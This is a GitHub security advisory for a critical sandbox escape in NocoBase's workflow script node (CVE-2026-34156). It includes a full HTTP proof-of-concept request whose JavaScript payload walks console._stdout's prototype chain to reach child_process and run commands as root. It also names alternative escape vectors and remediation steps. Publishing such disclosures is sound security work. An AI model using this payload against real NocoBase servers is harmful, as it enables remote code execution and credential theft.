Skip to content

NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

Critical severity GitHub Reviewed Published Mar 28, 2026 in nocobase/nocobase • Updated Mar 31, 2026

Package

npm @nocobase/plugin-workflow-javascript (npm)

Affected versions

<= 2.0.27

Patched versions

2.0.28

Description

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

  1. console._stdout.constructor.constructor → host-realm Function constructor
  2. Function('return process')() → Node.js process object
  3. process.mainModule.require('child_process') → unrestricted module loading
  4. child_process.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Impact

  • Remote Code Execution as root (uid=0) inside Docker container
  • Database credential theft (DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)
  • Arbitrary file read/write via require('fs')
  • Reverse shell confirmed
  • Outbound network access for lateral movement

Proof of Concept

HTTP Request:

POST /api/flow_nodes:test
Authorization: Bearer <JWT_TOKEN>
Content-Type: application/json

{
"type": "script",
"config": {
"content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
"timeout": 5000,
"arguments": []
}
}

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

  • Docker image: nocobase/nocobase:latest
  • NocoBase CLI: v2.0.26
  • Node.js: v20.20.1
  • OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

Screenshot 2026-03-26 at 06 09 51

Proof of concept the root privileges

Screenshot 2026-03-26 at 06 12 29

os-release demonstration

Screenshot 2026-03-26 at 06 12 54

image

App path

Screenshot 2026-03-26 at 06 14 04

Exploit Usage:

Reverse Shell Mode

tool1

Dump system information & creds

tool2

Remote Command Execution Mode

tool3

Remediation

  1. Replace Node.js vm module with isolated-vm for true V8 isolate separation
  2. Do not pass the host console object into the sandbox; create a clean proxy
  3. Run the application as a non-root user inside Docker
  4. Restrict /api/flow_nodes:test to admin-only roles

Alternative Escape Vectors

  • console._stderr.constructor.constructor (identical chain via stderr)
  • Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University

References

@2013xile 2013xile published to nocobase/nocobase Mar 28, 2026
Published to the GitHub Advisory Database Mar 30, 2026
Reviewed Mar 30, 2026
Published by the National Vulnerability Database Mar 31, 2026
Last updated Mar 31, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(98th percentile)

Weaknesses

Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. Learn more on MITRE.

CVE ID

CVE-2026-34156

GHSA ID

GHSA-px3p-vgh9-m57c

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.